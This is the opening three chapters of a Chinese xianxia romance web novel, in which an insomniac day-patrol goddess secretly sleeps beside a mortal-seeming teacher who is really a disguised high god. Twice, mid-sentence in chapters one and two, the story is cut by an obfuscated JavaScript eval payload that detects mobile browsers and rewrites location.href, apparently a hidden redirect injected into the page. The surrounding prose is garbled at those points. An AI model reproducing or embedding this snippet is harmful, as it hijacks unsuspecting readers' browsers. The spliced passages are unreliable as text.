《每夜蹭睡后被清冷上神盯上了》 1. 【第一夜】 【第一夜】 今日晚上,很好的月光。 芙颂决意下凡去睡一个男人。 细濛濛的月辉夹杂着一星半点的雨水,正纷纷淋淋地向江南一带的庐陵郡飘洒着,时令已经到了春分,雨水存留的时间渐趋漫长,薄薄地拢在地面。 芙颂蹬一朵瑞云,撑一柄莲花琉璃伞,游弋到庐陵郡白鹤洲的一座书院。但见书院戟门前,赫然盘踞着一块约莫一丈之宽的风松石,风松石上矗有一座日晷,中心位置的针影正介于“酉”与“戍”之间,芙颂看了一眼,心下喟叹一句:“怕是来得有些早了。” 果不其然,比及她驱策瑞云来到不二斋东廊的一处宿舍,望见斋内燃着一盏灯,那一重垂挂下来的簟帘,明晰地倒映着一个修长如松的男子身影,男人正手执经卷读书。 他是书院里一位新来的教谕,专门教授义理五经。 芙颂此番下凡要睡的人,恰是他不错了。 身为日游神,芙颂在天庭极乐殿当差,白昼巡视凡间,记录善恶,保护黎民百姓免受妖魔侵扰,偶尔送迷路的稚子归家。 这一份差事,一干就是九千年。 这一份差事干了有多久,芙颂就有多长时日没合过眼。每逢夜里睡不着时,她伪装成凡人去不打烊的酒坊,跟一群夜猫子划拳喝酒。天亮后,她拖着疲累又亢奋的身躯,继续巡守人间。 芙颂常年饱受失眠折磨,极乐殿诸位神僚皆知,纷纷热心引荐安枕法门,有教唆她一拳将自己打昏过去的,有教唆她去听菩提老祖念经的,有教唆她给周公的宫观献点功德与香火的,有教唆她去星神殿帮司命星君数星星的,有教唆她去寻药王菩萨诊脉调理身子的…… 诸多安枕法门,凡所应有,无所不有。 芙颂抱着剀切的心,逐一亲自试过,结果收效甚微,非但无法入眠,还平白让自己受了伤。不过,若说这些法门毫无意义也不全对,至少让她在菩提老祖、周公、司命星君、药王菩萨面前挣取了好神缘。 后来,闺友春神获悉此情,唯恐芙颂在务公时猝亡,忙不迭劝谏道:“春日到了,要不下凡寻一个睡伴儿,滚一圈,有了肌肤之亲,指不定就能好好睡觉了呀。” 此一谏议,听着更不靠谱! 芙颂第一反应就是摇首峻拒,人神殊途,中间横亘着伦理天堑,她焉能擅自去招惹一个凡人? “药补不如食补,食补不如睡补,”春神羲和振振有词,“尤其是跟所爱之人一起相拥而眠,乃属大补。你闻着他的气息,感受着他的体温,你必定可以安安心心入睡。” 这番话,委实教芙颂听得面红耳赤。 羲和前任遍神界,于情爱一事,她耿率明媚,总有着独到且独特的洞见。修炼讲究清心寡欲,羲和偏偏不从,每谈恋爱来总要轰轰烈烈,纵使闹得三界皆知也无所畏惧。是以,春神给芙颂提出的谏议,既在意料之外,亦是在情理之中。 芙颂最初是没有表态的,但羲和的一席话,如一粒种子,种在了她心上,开始生根发芽, 万一呢? 万一试了春神的法子,就能好好睡觉了呢? 那种靠酒靠热闹熬过漫漫长夜的日子,她再也不想过了。 怀着试一试的赌徒心态,芙颂一晌继续在白昼巡守人间,一晌暗中在凡间觅寻合适的睡伴。 很快地,她盯上了江南白鹤洲书院的一个白衣教谕。 他作息规律,夜里戌时熄灯,睡相非常养眼,睡时没有任何声音,安静得如清冷谪仙。 他的名字跟他的睡相一样清冷澹泊——谢烬。 在当下的世道,谢是世家大族的大姓,烬也是不常出现的字,芙颂以为此人是哪位簪缨世家的贵族子弟,细细排查了一番,她极是愕讶。 谢烬父母早殁,由祖父一手抚养长大,既无兄弟也无姊妹,更无旁支族亲与媒妁婚约,家世寻常得很。其天性颖悟,颇有仙缘,三岁拜在白鹤真人的门下,五岁诵史,弱冠之年便已成为登科进士,后来殿试上,深受圣上喜爱,称其清正端方,有圭璋之洁。然而在半年之后,他竟是从翰林院大学士的位置退下,甘愿来江南当个从六品教谕,发民意,启民智。 总而言之,是底细极其干净的一个凡人。 不二斋对面遍种数百竿凤尾竹,映着簟帘窗纱,都成浓绿。芙颂单足点在一枚竹叶上,等呀等,等呀等,等得她打了好多个哈欠,终于等到戍时正刻,斋内的灯火由亮转暗了,她心一松,登即欢天喜地地飞溜进去。 斋内弥散着一股子好闻的竹柏香气,陈设十分简约,窗间挂着一雕花笼,笼内蓄养着一只红鹦鹉,见人能言。北边设一长案,案上齐齐整整地堆放着笔砚之类,南边摆陈着凉床竹几,床榻外横摆着一面绘有白鹤的屏风。 芙颂掐了一个隐身诀,隐藏了自己的气息,轻轻绕过屏风,蹑手蹑脚来到了床榻前。 饶是芙颂心中早有心理准备,但见到谢烬之时,仍旧会难免一番惊艳,目光难以从他的面容上挪开。 皎洁的月色在他的皮肤上描绘出起伏的微波,但那种皮肤不是类似于女人般秀气的肌肤,而是类似于冰霜浮雪的肌肤。特别是月色刚好照射在他的侧脸上,映照出恬淡冷欲的轮廓。 白衣浅衫,神姿高彻, 芙颂不免有些忐忑,掌心处开始生汗,竟是生出了一种即将要渎神的负罪感。 她本就是神明,为何竟然会对一介凡人产生负罪感? ……来都来了,总不能临时打退堂鼓罢? 兹事若是传出去,未免太丢脸了! 芙颂双眼一闭,按捺住紧张,正想卧躺上去,不知为何,那花笼内的红鹦鹉忽然开了嗓:“偷鸡摸狗,有辱斯文!偷鸡摸狗,有辱斯文!” 芙颂做坏事本就心虚,一时之间忘了自己是个神,忙不迭趋步至花笼前,食指抵着嘴唇,压低嗓音道:“嘘!” 红鹦鹉不听,嚷得更大声,“偷鸡摸狗,有辱斯文!” “别吵啦,你主人会睡不好觉的。” “偷鸡摸狗,有辱斯文!” 芙颂周身发凉,汗渍浸湿了后背。 她一边急急朝着床榻望去,一边又回望着躁动不安的红鹦鹉。 情急之下,她理智归拢,默念了一声“对不住”,双指一并,速速捏了个禁言咒,咒术在半空之中聚拢成了一个光团,不偏不倚打中了红鹦鹉身上。 “偷鸡——”红鹦鹉话未毕,就被强制闭了鸟嘴。 好消息,寝屋安静了。 坏消息:她的未来睡伴还是醒了。 芙颂呆呆望着披衣起身的白衣谪仙,心里揣揣,他可觉察到了什么端倪? 谢烬罩着一席苍青色外袍,双掌静静覆在膝面上,神态疏离,无波无澜。 他的目光轻轻从芙颂身上扫过,没有片刻的停留,仿佛是没有看到她。 芙颂松了一口气。 倘若她观察得再细致一些,会发现男人的眉眼之间,此际添了一抹几不可察的厌倦。 谢烬拢着衣衫,淡视着正前方,从芙颂面前经过,行至窗槛前,他的大袖之下伸出一截骨节分明的手。腕间戴着一串二十色佛珠,在月色的洒照之下,佛珠焕发着晶莹剔透的光泽。他在红鹦鹉身上轻轻摩挲着,意作安抚。 躁动的红鹦鹉,一下子变得乖驯起来,毛绒绒的小脑袋在谢烬的掌心间温柔地拱蹭着。 红鹦鹉是谢烬下凡时携带的守护兽,本体是一只专噬火焰的毕方。 安抚好了红鹦鹉,谢烬这才重新往今夜这位不速之客望过去。 女郎背后斜挂着一柄招魂伞,绯衣霓裳,脸上则戴着一张白色笑脸面具,完美地掩住了五官,只露出一双清显漂亮的眼睛,漆黑的眸瞳被夹翘纤细的睫毛遮掩着,三不五时眨巴一下。在靠近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408645|168780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛的位置,也就是卧蚕处,描摹着诡谲华丽的墨绿莲纹,在暗夜里焕发着栩栩生动的光泽。 这无形之中昭示了她的身份——日游神。 面具是日游神的本体,任何时刻都不可摘下。 若是寻常的妖魔邪祟,用镇妖锁捕获即可,但对方是一位天庭神职人员,修为还并不算低。 谢烬目光带着点疑惑,疑惑也就点到为止而已,他与对方素未谋面,在神界也是毫无交集。他不关心对方的来处与目的。 回到床榻上时,对方居然也屁颠屁颠跟着一并上了榻子。 谢烬稍稍敛住眉心,白袖之下的修指略略一屈。 芙颂一心想着跟白衣谪仙睡觉,也就不曾留意脚下,刚行数步,倏然被凭空延伸出来的一只榻脚绊了个趔趄,榻脚是檀木质地,硬实得很,一绊让芙颂疼得龇牙咧嘴。 她抱脚在屏风前跳来跳去,白色面具背后不断溢出“好疼啊”的声音,尾音裹挟着一份软糯的哭腔。想来是真真疼极了。 谢烬:“……” 这位日游神,似乎是不太聪明的样子,连他施展的一个小法术都规避不过去。 芙颂自然是不清楚自己原形毕露了。她不在乎自己疼不疼,唯恐动静太大了,又吵着白衣谪仙。 看着他终于阖衣阖眼卧下,芙颂也连忙褪下了两只靴子,将它们并列摆放在谪仙的靴子旁,随后规规矩矩地躺在了他的外侧。 好眠的胜利就在眼前了! 芙颂掐着指头,铭记着春神交代的方法——要滚一圈,要有肌肤之亲。 芙颂左瞧瞧右望望,若是往左滚,她马上就滚到地上,那应该是往右边滚了。 于是乎,芙颂就往右边滚。 滚着滚着,伴随着一阵细微的衣料窸窣声,她滚至了一具温凉的男人身躯旁。 鼻腔之间,撞入了一阵清郁好闻的淡香,是谢烬身上独有的。 芙颂今夜滴酒未蘸,可此刻却像是饮了刚酿好的荔枝酒似的,一股无可抑制的痒和酥直往骨缝里钻。 滚完了一圈,接下来就轮到肌肤之亲了。 芙颂胆子大了起来,迎面望向了枕边人,在他耳屏处轻声问:“我想搂住你的腰,枕在你的怀里,可以吗?” 谢烬不响。 芙颂也清楚对方不可能应答自己,她不想要太冒犯,所以选择先礼后兵。她嘻嘻道:“你不说话,我当你默认啦。” 言讫,她双手尝试着搂住他的腰,脑袋小幅度地轻轻埋在他的颈里。 独属于男人身上的清冽气息,汇成了一只温暖的手,抚平了芙颂身上每一处毛孔。 他的皮肤是温热的,反衬得她肌肤很凉。芙颂蜷缩成了一个婴孩,把自己拱入他的怀里。 她觉得自己的眼皮越来越沉,呼吸越来越轻盈,眼前的世界摇曳成了一潭迷离光影,很多轮廓、细节皆消融在月色之中,她也消融在了一片月色里。 芙颂睡得很香,浑然没觉察到,在晦暗不明的光影之中,谢烬缓缓睁开了眼眸。 那波澜不兴的脸上,露出了一丝裂隙,眸中是压不下的愕意。 他周身僵硬,因是头一回遭遇到这种情状,以至于第一时间忘记推开她。 谢烬不可置信地俯眸下视—— 只见芙颂把身子埋在绢面衾被里,乌绒绒的脑袋枕在他的颈窝处,均匀地吐着热息,从鬓发处一直红到了耳朵根,她那格外单薄的皮肤浮现出了跳动的青筋。 昏暗之中,她继续毫无防备的拱蹭上来,白色面具微微往上挪了一寸,下半张脸蘸染了淋漓的月色,显出了一种别开生面的妩媚,全然不同于与此前笨拙的样子。 丹红的双唇,从唇里吐出的呼吸声,既绵且软,如一枚羽毛,拂扫着谢烬的皮肤。 一阵绵长难耐的痒。 谢烬压了压眉心,发现自己睡不着了。 2. 【第二夜】 【第二夜】 芙颂身上一股淡淡的香气,幽幽扑至谢烬近前,恍同夏日里刚刚濯洗好的莲花,透着轻熟青涩的气息。 谢烬历经短瞬的不知所措后,很快面沉如水,强硬而迅疾地将搂在自己腰间的双手扯曳开去。 隔着数层衣物,他能感受到那独属于女人的软娇触感,仿佛自己施加更沉重的力道,便能在她的皮肤挤出水似的绯痕。 奈何,芙颂的睡相实在不好,谢烬将她曳开一尺的距离,她又拱蹭上来。 这一回的势头更加肆无忌惮,双手双脚径直缠绕在谢烬的腰身处,不远处的白鹤云纹屏风之上,两具躯体近乎是严丝合缝地贴在了一起,是致命的契合。 甚至,芙颂还在他的胸口前慢腾腾地蹭了一蹭,仿佛他是一个舒适的抱枕,供她任意使用。 谢烬面色沉着。她竟又缠了上来,与东海里的八爪鱼别无二致。 那一副白色面具下方露出的檀唇,惬意地勾了起来,显然是睡得很安然恬淡的。 他静默片晌,少顷深吸口气,将整张棉衾扔在了芙颂身上,兀自披衣起身,与她拉开了很疏远的一段距离。 花笼内传了一阵啰啰声。 谢烬微微掀起眼睑,斜睇了一眼窗槛上花笼里的毕方。 毕方两腮鼓鼓,整张鸟脸都是涨红着的,憋笑憋得煞是辛苦,受到了主子肃穆的目光,它心虚地不敢与之对视,只得垂着小脑瓜,用尖喙细细耙梳着翅膀。 片刻才开口,说的竟是沙哑低沉的人话:“咳咳,日游神行迹鬼祟,要神没个神样儿,行止不端,不若吩咐翊圣真君上九重天,将此事禀明天帝,届时天帝自会对此神进行裁夺。” 谢烬受天帝之命下凡执行任务时,天帝将自己的得力辅臣指派给了他,也就是翊圣真君——他在民间被尊禀为“黑煞神”,貌状雄伟,仗剑披发,镇魇北界,是北疆一带的守护神。 这位能神,惟独有一点不好,那便是嗓门奇响,但凡在天庭吼一嗓子,整个九重天都知晓了。故此,众神都不敢跟翊圣真君作深入交流,背地里都调侃他是“大声公”。 谢烬淡声问:“兹事被翊圣真君知晓,有何后果?” 毕方觉察出端倪,忖了忖后道:“不仅是天帝知晓,整个九重天都会知晓您被日游神占便宜了。” 谢烬道:“好事还是坏事?” 毕方嗓音渐渐弱了下去:“自然是坏事。损她名声事小,但您的清誉和行踪眼看不保。” 谢烬抿唇不语,寥寥然地偏眸,视线落在酣睡的女郎身上。 她本体是一枝昙莲,莲属木,而他是火,火克木,换言之,他天然克制她,只消一簇三昧真火下去,就能将她打回原形。 也不知她是无知还是鲁莽亦或是头脑简单,得知他的身份后,可还敢如此肆意地扑上来? 偏偏毕方这时补了一句:“在天庭做神仙做久了,难免空虚寂寞,寻个凡人消遣一番也不是稀罕事儿。” 毕方说完,自知失言,望了主子一眼——主子身份矜贵,岂能是一介小神以下犯上的对象呢? 谢烬的脸上看不出多少情绪,修长冷白的指腹在簟席之上很轻很轻地敲了敲,只道:“明昼开始,在不二斋设下焚火结界,教她莫要再入内。” 毕方领命称是。 一人一鸟正低声叙话间,芙颂在这一会儿舒惬地翻了个身,大袖之中滑落出了一册藏蓝色手札,巴掌大小,不偏不倚落在了榻面上。 谢烬眸色微黯,望着这一本手札,若有所思。 —— 翌日,环抱着白鹤洲的山头逐渐发白,天色趋明,紫红的彩云变得纤细,长拖拖地横卧整片天穹,遥望而去,如同众神在慵懒地晨钓。 芙颂清清爽爽地睡到了黎明时分。 她在床榻上大刺刺地伸了个懒腰,发现手很快触碰到了一具温热的躯体上,她揉了揉惺忪的眼睛,扑入眸底的第一眼,就是一张俊美得不似凡人的睡颜。 芙颂下意识敛声屏息。 是白衣谪仙呀。 他们昨夜睡在了一起。 犹记得,搂住他的那一霎起,她即刻进入了酣甜的梦乡,梦里还撞见了暌违久矣的周公,周公见着她,又惊又异,紧接着给她道贺了声“夜梦吉祥”,祝福她终于能够睡个好觉了。 春神的办法果真有大用! 跟人睡觉,果真是大补! 以往每一个睡不着的深夜,芙颂都会在酒坊里熬到天色由暗转明,熬到太阳星君升起来敲神钟,神钟会响三百六十一下。 但今日,她醒来的时候,并没有听到太阳星君所敲响的神钟,这意味着她睡得很安稳,连钟声都不曾听到。 再一次确认了自己已经睡了个好觉的事实,欢喜充溢在芙颂的胸腔,浑身上下三万六千个毛孔无一不舒坦。 她先是将五脏六腑的各位神明感谢了个遍,迩后,她伏在谢烬的耳屏处,用气声感激道:“谢谢公子,让我睡了人生第一个好觉!” 芙颂绝不是一个吃干抹净就逃跑的小人。她从袖囊里翻出了一枝连璧笔,一晌执起谢烬的左手,一晌在他的手背上,很轻很轻地画了一朵九瓣小莲花。 芙颂垂眸收笔,小指相勾,竖立二食指斜向空,熟稔地翻了一个莲花印,默诵了一遍正念咒诀,小莲花每一朵莲瓣开始焕发着金红色的光泽。 诵毕,她道:“这是好运符,祝公子今日顺遂吉祥,清净安乐!” 人与人之间是有能量场的,谢烬的能量干净纯粹,给了她好梦,她自然也要用干净纯粹的能量报答。 做完这一切,天光已大亮,芙颂离开了白鹤洲书院。离去前,她不忘解开红鹦鹉身上的禁言咒。 不知是不是怕了她,红鹦鹉没再说“偷鸡摸狗,有辱斯文”,而是干瞪了她一眼,随后用翘挺的鸟臀对着她,一副眼不见为净的架势。 芙颂玩心大起,戳了戳它的鸟臀,激得它飞扑过来要咬她。 芙颂眨眼收腕一笑,连忙撑开招魂伞,蹬云飞上了天庭。 在极乐殿点卯之后,照例要开晨会,对昨日在凡间巡守的工作进行述职。 说起来,极乐殿算是天庭新成立起来的部门,相当于冥界的阴司,阴司里有白无常与黑无常,他们专门去凡间收割亡魂。 收割亡魂,本就是一份相当轻松的差事,但不知怎的,他们做着做着,风评变得愈发差了。 诸多将死之人贪恋着人间美好,不愿往生,压根儿不配合黑白无常的事务,时而久之,这些人因执念过深、怨气过重,就成了会伤害黎民百姓的厉鬼妖魔,将凡间闹得乌烟瘴气,严重扰乱了三界之间的阴阳平衡。 天帝获悉此情,遂成立极乐殿,设下日游神、夜游神二种官秩,一方面要守护凡间,另一方面要让入魔的亡魂,以极乐安然的方式往生——此则极乐殿的宗旨。 芙颂原是斗姆座下的一枝昙莲,修为虽深,涉世却浅,加之性情大大咧咧,这一份极具使命的差事其实轮不到她来做,怎料天帝他老人家三番遣使君来相邀,说九重天上下,没有比芙颂更适合当日游神的存在了。 斗姆架不住天帝的软磨硬泡,嫌他太烦了,为让耳根子清静些,挥了挥扶麈,芙颂就成为了日游神。 成神下凡后,芙颂才发现自己上当了。 日游神,名头上听着霸气,但实质上是个脏累活儿,鸡零狗碎不断,天天要跟各路鬼魂交涉,提供情绪价值,安抚他们走上正道。假令沟通无果,还可能被鬼魂恶意伤害,损伤一己功德。 芙颂上任之前,这位神职已经逼走了数位神仙了。 上任之后,她开始夜不能寐。 …… 说多了都是一把辛酸泪。 但如今,睡觉的问题成功解决了,芙颂也自然薪贫气和了。 去正殿述职的路上,她下意识往袖囊里翻了翻,翻了许久,竟是翻不到生死簿。 生死簿是芙颂的工作日志,每天详细记录着往生的亡魂生平明细以及亡魂数量。 此物极其重要,可定人生死,芙颂随身携带,从不轻易拿出。 好端端的,怎会弄不见? 芙颂脑海里不断搜寻着自己昨日的行动轨迹,将每一处地方都搜寻了个遍,仍然遍寻无获。 莫不是遗落在了不二斋? 若是让师傅或是天帝获悉此情,那就大祸了! 好巧不巧,迎面遇到了一位神君。他步履潇洒,一席蓝袍墨衫,朱冠博带,襟前悬挂着一圈流苏,左手捻着一柄玉骨扇,玉骨扇之下缀着一张玄幡,玄幡之上招摇地写了一个“夜”字,端的是仙气邈邈。 恰是夜游神。 夜游神俯近身躯,盯着芙颂的脸看了好一会儿,看得芙颂颇不自在。就在她以为对方识破了她丢失了生死簿的事时,他轻飘飘拢回身板,隔空指了指她的下颔,道:“师妹,面具没戴好。” 芙颂心尖打了个突,心道:“昨夜睡得太香了,睡到得意忘形了,晨起之时也就忘了正衣冠,好在隐身了,白衣谪仙睡得很安稳,想必是没看到我的真容的。” 芙颂心虚地将面具扶正,打了个哈哈:“多谢师兄提醒。” 夜游神照例问道:“昨夜休息得可好?” 芙颂点首如捣蒜,笑道:“休息得很好!” 夜游神纳罕地望了师妹一眼,道:“昨夜没在九莲居见着你。在何处休息?” 芙颂一噎,万万没想到夜游神会留意到此等细节。 芙颂摸了摸后颈,胡诌道:“还能在哪里休息,自然是跟羲和在一起啦……师傅还等着我述职,我先走一步啦。” 说着,芙颂就想要溜到正殿,但后领被玉骨扇勾了回去。 夜游神陪着笑了一阵,随后换作了一张肃穆的脸,执起玉骨扇的扇柄,不轻不重地敲了敲芙颂的脑袋。芙颂捂额吃痛,问:“师兄干嘛打我的头?” 夜游神道:“师傅交代过的事都忘了?今日无需述职,天帝在玉虚宫召集众神开会,说是归墟之地有一位被镇压了数万年的魔神,于三日前破除封印,杀死了不少神兵,逃入凡间。兹事体大,关涉三界安危,你我不得不重视。” 顿了顿,夜游神口吻变得敬重起来:“据闻昭胤上神因此一事,提早出了关。” 芙颂对此没有很大的波澜。 大神解决大问题,小神解决小问题。 像昭胤这般活在远古传说之中的神话人物,证果以来已届五万岁,修为高深,神基稳固,是天庭诸神心中不可侵犯的尊长,天帝请他出关降服魔神,是再合情合理不过的了。 芙颂从未见过昭胤上神的本尊,但上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408646|168780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至九重天,下至凡间,常常流传着诸多他的传说。 他是炎帝后裔,师承于祝融,掌事三界十方之火,是可与伏羲、神农比肩的人物,就连天帝也要敬让他三分。那些流传着在民间的著名的神界大战,几乎都有昭胤上神的身影。百姓们为了称颂他,将每年的六月二十三日定为他的诞辰,并为他修建宫观千座,供上连绵不辍的香火。 不过,每座宫观内的神像面容,都各不相同,没有统一的标准,大抵是每一片水土的百姓心中的昭胤上神都不同吧。 芙颂私以为,昭胤上神活了上万年,定是个须发皆白、仙风道骨的老者不差了。 当然,她从未去求证过。像她这般小神,是没有资格觐见上神的,以前问过师傅,师傅也没见过本尊,从玉帝里打听来说,昭胤上神的面容和性情,可用“清冷”二字蔽之。 这倒更坐实了芙颂的猜想。 嗯,不苟言笑、严谨无趣的老神仙! 眼下,她随夜游神去了玉虚宫,宫内挤挤挨挨吵吵嚷嚷的,皆是各路在神界有头有脸的人物,众神林立两侧,氛围煞是喧嚣热闹。 夜游神临时有要急之事,先撇下芙颂飘走了。 芙颂早已见怪不怪,跟一群小神伫立于宫外,充充场面。 内宫一座金碧辉煌的高台,高台之上有一座通灵阵,镇内有十二道阵孔,一个阵孔代表一位上神,天帝端坐在上首座,让每一位上神轮流发言。 “嘿,那位穿红色道袍的尊者,会不会就是那位昭胤上神啊?” “看错了好不好,那位是火德真君,脾气暴躁得很呢,轻易不能开罪。” “这位紫色仙袍看起来很凶的尊者呢?” “这可是狱神,昼审阳、夜断阴,凡间坐牢的罪犯都要拜他三拜。” …… 小神们兴奋地论议不休,芙颂心底里还在想着生死簿丢失一事,直至不知是谁说了一声:“看,是昭胤上神!” 群情高涨,芙颂也好奇地朝台上扬长了脖子。 只见一位紫红脸膛的魁梧悍将,手执通天长戟,出现在了最后一个阵孔上,他跺了跺脚:“叩见天帝!” 这一阵振聋发聩的发言,芙颂蓦觉自己跟着脚下的玉砖颤抖了起来。周遭定力不好的小神跟着栽倒一大片。 说好的清冷呢,怎的是个魁梧大汉? 直觉告诉芙颂,这肯定不是昭胤上神。 果不其然,她的猜想很快被证实了:“鄙神翊圣,跟随昭胤上神下凡数日,已斩获一些情报,特此禀明天帝!” “倘若他真的是昭胤上神,我就从九重天跳下去。” 一些怀着春心的小神幽怨道,收获了不少应和声。 芙颂心下不赞同的摇摇头。同时觉得这位昭胤上神刻意低调了,让翊圣真君代为出席。 那他本尊正在做什么呢? —— 凡间,白鹤洲书院,烟雨霏霏。 刚刚授完学的谢烬,忽地打了个一个喷嚏。 陪他一同下值的教丞见状,关切道:“谢教谕,近日是回南天,江南气候阴凉潮湿,还需要多添衣,仔细感染风寒。” 谢烬淡淡掩唇:“无碍。” 他的语气温和,但也保持着一份疏离。 除了山长,同僚们对谢烬虽说有恭谨,但也有一种无法道明的敬畏。 谢烬极少交游,下值后从不与同僚去消遣烟花之地,时而久之,同僚都对他是只可远观也不敢亲近的。 教丞意外见到了他左手上的莲花图案,眼睛一下子亮了起来:“原来,谢教谕也有当采花人的逸致。” 谢烬动作微顿,不需要教丞特别提醒,他也看到了手背上的莲花图案。 想来是那位日游神的手笔。 莲姿葳蕤生动,寄生在他手上,昭显着昨夜所发生的种种。 谢烬目光变得冷而淡。 教丞觉察到氛围不太对劲,连忙寻个理由离去了。 及至廊下只剩下谢烬一人,他独身回了不二斋,烧了一盆热水,不断搓洗手掌。 这种符咒沾水而显,越洗越剔透清明。 谢烬白昼吩咐傔从换掉了原有的枕褥和衾被,剔除掉了那一抹优柔的莲花香,惟独洗濯不掉手背上的咒纹——哪怕他知晓,这种咒纹是无害的。 或许施咒的主人没有存坏心眼,但她擅自跨过了他的界限。 这不是一桩好事。 谢烬的视线淡淡落在了摆放在书架上的藏蓝色手札上。 她今夜一定会来。 戍时牌分,夜色正浓,芙颂果真来了。 她是来寻生死簿的。 提心吊胆地过了一个白昼,提早下了值,也推拒了跟春神羲和的酒坊之约。 芙颂降落在不二斋的院子外,一眼就看到了摆放在窗槛上的生死簿,想来是她今早飞升之时意外落下的罢。 高悬在芙颂心口的一块大石头就此落下,忙不迭趋步上前。 “砰!” 芙颂直截了当地撞在了空气之中。 额头像是撞在了一块硬邦邦的岩石上,还是自带高温效果的,疼得她眼泪都出来了。 整个人朝后趔趄了好几步。 她警惕地看着眼前的空气。 ……好像是结界? 3. 【第三夜】 【第三夜】 芙颂撞了结界三次,仍旧无法入内,生死簿近在咫尺,偏偏她取不到,内心就跟闷油熬煮过似的,渐渐有些焦灼。 这时,窗槛前走近来了一道修直峻挺的白色人影。 芙颂忍不住望去,对方恰是白衣谪仙。 他捋袖抻腕,正执着一枝紫毫椽笔在黄帖上习字,隔着有些远的距离,她看不清对方具体练得什么字,唯一能够看清明的,是那一双骨节匀亭的手。 五指修长,力道明劲,衣带当风,骨骼的每一寸弧度都异常精致。他习字的动作缓而慢,莹白双手在烛火的照彻之下显得格外漂亮,瓷白的皮肤之下,藏着脉络分明蕴含蓬勃的力量。 芙颂昨夜没有特地去留意,今夜端详了好一阵,发现谪仙的手,真的煞是好看,教人赏心悦目。 她注意到了男人的左手手背,白昼所画的莲花咒纹尚还盘亘在上面。 芙颂很快发现了不对劲。 这一枚莲花咒纹已经显形了,想来他是看到了的,可会觉得奇诡畏惧?亦或是别作他想? 许是观察得太过于明目张胆,教白衣谪仙觉察到了,他慵懒地掀起眼睑,隔着扶疏的竹影遥遥望了过来。 芙颂惊觉自己还没掐隐身诀,在两厢视线即将对上之际,她瞬即躲避在了竹林背后。 她也搞不明白自己面对一介凡人,为何如此紧张,感觉好像是私底下做坏事被师长抓包了一般,手掌和后背隐隐浸出了一片冷汗。 芙颂浑然不清楚自己的一举一动,一行一踪,皆被谢烬看在眼底。 他已经看着了她,她的招魂伞没有被竹影遮住,一览无余地绽露在空气里,藏等同于没藏。 谢烬寥寥然地抿了抿唇角。 犯淫邪的神,是要被剥去修为,打入阿鼻地狱的,换作寻常,他必会遣人将她正法,并罚抄《神职人员的自我修养》千遍,以雷霆万钧之势教导她。 但如今,他寻思着,这位日游神也没做很过分的事,远达不到淫与邪的程度。 只消她有自知之明,取走生死簿,消掉莲花咒纹,从今往后莫要再擅闯进来就是。 不知藏了多久,久到不二斋终于熄了灯,芙颂回眸一望,白衣谪仙不在窗前习字,想来是就寝了罢! 捏了个隐身诀,重新回到结界面前,正寻思着破界之法,讵料,当她伸手一触时——结界居然消失了? 芙颂来回走了好几遭,确证结界不存在了,心道了一声“好奇怪”,但也没深处去想,直奔窗槛而去,牢牢将生死簿抱在怀里,大大地松了一口气。 好险好险,生死簿没有丢,今夜可以睡个好觉啦。 芙颂将生死簿纳藏入袖囊之中,这一回,她学谨慎了,睡觉前,飘至花笼前,变出了一堆饲食放到了笼子内,温声道:“昨夜禁了你的嘴,实在抱歉啦,这是我从鸟市淘来的饲料,算作补偿,还望今夜你能安安静静的,别吵醒你的主人噢。” 红鹦鹉双翼护着鸟臀,不咸不淡斜睇了她一眼,随后翻了个白眼,没吭声。 芙颂认定这是同意的了。 她像昨夜那般,揄扬地摘下双履,躺在白衣谪仙的身侧,发觉他是朝内侧躺着的,宽阔的背脊如山岳一般冷峻伟岸。 假令是平躺的话,芙颂就能搂着他的腰,枕在他胸口上前睡觉。 但现在这个姿势有一点点难驾驭…… 空气幽幽响起了一阵衣料摩挲的细微声响。 谢烬阖眸假寐,以为她正在解囊寻那一枝连璧笔,来消除他手背处的莲花咒纹。 殊不知,他的后背忽然倾近前来一道温热柔软的躯体。 谢烬呼吸陡然凝住,僵硬地俯眸下视。 他的臂弯之下伸过来两条纤细的藕臂,轻轻从背后揽住了他的腰,月色从窗间外的竹丛之外筛进来,照在了藕臂上,招摇一晃,肌肤瓷白得发透,像一颗白翡翠珠子。 身后的女郎贴得极近,隔着数层衣料,他能够清晰地感受到她的面颊拱在他的背部,像极了某种毛茸茸的动物无意识地缠绕上来。喷薄出来的温热吐息,以一种均匀的弧度,扫荡着他的背脊,掀起了一片若即若离的痒意。 跟她的肢体偕同缠绕上来的,还有湿腻腻的莲香。这种香气不同于寻常的胭脂水粉,而是女郎身体里浑然天成的。 这情状与谢烬预想之中的,全然不符。 他以为日游神取走生死簿、消掉莲花咒就会识相地离开。 结果,她只是取了生死簿,就光明正大地来蹭觉了。 她根本,没有自知之明。 谢烬恹然掀眼,作势解开她圈在腰间的手,这回,他的指腹直接触碰到了她的胳膊,温温凉凉的,他指尖一掠而去,她的皮肤马上变得发烫,染上了一片绯色。 身后传来了一声软糯的咕哝:“唔……好烫呀。” 既是怕了,那就别靠近来。 似乎感应到谢烬的心声,圈着他腰间的力道果真松懈了几许。 但下一秒,她的小腿就见缝插针缠绕在了他的腿脖子上。 谢烬:“……” 他太阳穴突突直跳,在这短兵相接之间,自己并没有平素表现得那般游刃有余。 堪堪侧回身躯,第一眼就看到那两片檀红的唇,像被春雨浇透的鹅梨花。她白得湿泠泠的,身骨伶仃,显得很瘦细。 